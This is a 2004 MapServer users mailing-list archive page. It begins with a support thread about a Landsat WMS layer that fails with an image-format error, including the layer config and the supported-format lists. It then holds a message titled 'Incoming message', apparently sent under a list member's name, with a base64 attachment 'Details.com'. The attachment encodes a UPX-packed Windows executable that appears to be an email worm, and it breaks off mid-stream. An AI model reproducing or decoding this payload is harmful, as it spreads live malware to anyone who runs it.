handling error. Unrecognized or unsupported image format drawEPP(): Image handling error. /usr/local/httpd/htdocs/tmp/108626019873110.img.tmp is not an EPPL file. this is was in landsat layer stnads: LAYER # LandSat WMS map from JPL NAME landsat TYPE RASTER OFFSITE 0 0 0 STATUS OFF CONNECTIONTYPE WMS CONNECTION "http://wms.jpl.nasa.gov/wms.cgi?REQUEST=map&LAYERS=us_landsat7&STYLES=&FORMAT=png&TRANSPARENT=true" METADATA "wms_title" "US Landsat7 image mosaic" "wms_name" "us_landsat7" "wms_abstract" "Seamless mosaic of Landsat7 1999/2000. 1/2 arcsecond, pansharpened" "wms_server_version" "1.0.0" "wms_srs" "epsg:4326" "wms_format" "image/png" END PROJECTION "init=epsg:4326" END END # LandSat WMS image ends here this gives the mapserv -v : MapServer version 4.0.2 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE the gdalinfo --formats: Supported Formats: VRT: Virtual Raster GTiff: GeoTIFF NITF: National Imagery Transmission Format HFA: Erdas Imagine Images (.img) SAR_CEOS: CEOS SAR Image CEOS: CEOS Image ELAS: ELAS AIG: Arc/Info Binary Grid AAIGrid: Arc/Info ASCII Grid SDTS: SDTS Raster DTED: DTED Elevation Raster PNG: Portable Network Graphics JPEG: JPEG JFIF MEM: In Memory Raster JDEM: Japanese DEM (.mem) GIF: Graphics Interchange Format (.gif) ESAT: Envisat Image Format BSB: Maptech BSB Nautical Charts XPM: X11 PixMap Format BMP: MS Windows Device Independent Bitmap PCIDSK: PCIDSK Database File PNM: Portable Pixmap Format (netpbm) DOQ1: USGS DOQ (Old Style) DOQ2: USGS DOQ (New Style) ENVI: ENVI .hdr Labelled EHdr: ESRI .hdr Labelled PAux: PCI .aux Labelled MFF: Atlantis MFF Raster MFF2: Atlantis MFF2 (HKV) Raster FujiBAS: Fuji BAS Scanner Image GSC: GSC Geogrid FAST: EOSAT FAST Format BT: VTP .bt (Binary Terrain) 1.3 Format JPEG2000: JPEG-2000 part 1 (ISO/IEC 15444-1) L1B: NOAA Polar Orbiter Level 1b Data Set FIT: FIT Image USGSDEM: USGS Optional ASCII DEM GXF: GeoSoft Grid Exchange Format Siki Zoltan schrieb: > Hi, > > Propably the raster format of landsat not supported on your installed > version. > > Check > mapserv -v > or > gdalinfo --format > to see the supported raster formats, it depends on your installation. > > Bye Zoltan > > On Thu, 3 Jun 2004, [ISO-8859-1] Lars M?ller wrote: > > >>hi, >>I tried the example3-3.htm with the layer landsat. >>I get this error: >> >>msDrawMap(): Image handling error. Failed to draw layer named 'landsat'. >>msDrawRaster(): Image handling error. Unrecognized or unsupported image >>format >>drawEPP(): Image handling error. >>/usr/local/httpd/htdocs/tmp/108625921164530.img.tmp is not an EPPL file. >> >>whenn I configure I get this error: >> >>checking for XpmFreeXpmImage in -lXpm... no >> XPM (libXpm) library cannot be found, possibly needed for GD >> >> >>could the missing libXpm bring the error? >>I tried to installe this libXpm, but dosen't work. >>has somenone an idea? >> >>thanks lars m?ller >> >> >> >> >> >> >> >> >>_____________________________ >> >>dipl.-ing. lars m?ller >>basis5 - webtechnologie >>m?ller und zipp ingenieure >>und partner >> >>malsburgstrasse 14 >>34119 kassel >> >>tel 0561.7660348 >>fax 0561.7660358 >> >>email moeller at basis5.de >> >>www.basis5.de >>_____________________________ >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > > -- _____________________________ dipl.-ing. lars m?ller basis5 - webtechnologie m?ller und zipp ingenieure und partner malsburgstrasse 14 34119 kassel tel 0561.7660348 fax 0561.7660358 email moeller at basis5.de www.basis5.de _____________________________ From steve.lime at dnr.state.mn.us Thu Jun 3 07:20:36 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Thu, 03 Jun 2004 08:20:36 -0600 Subject: [Mapserver-users] Incoming message Message-ID: ----------eggzxrvbfodaweecueyb Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------eggzxrvbfodaweecueyb Content-Type: application/octet-stream; name="Details.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Details.com" 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 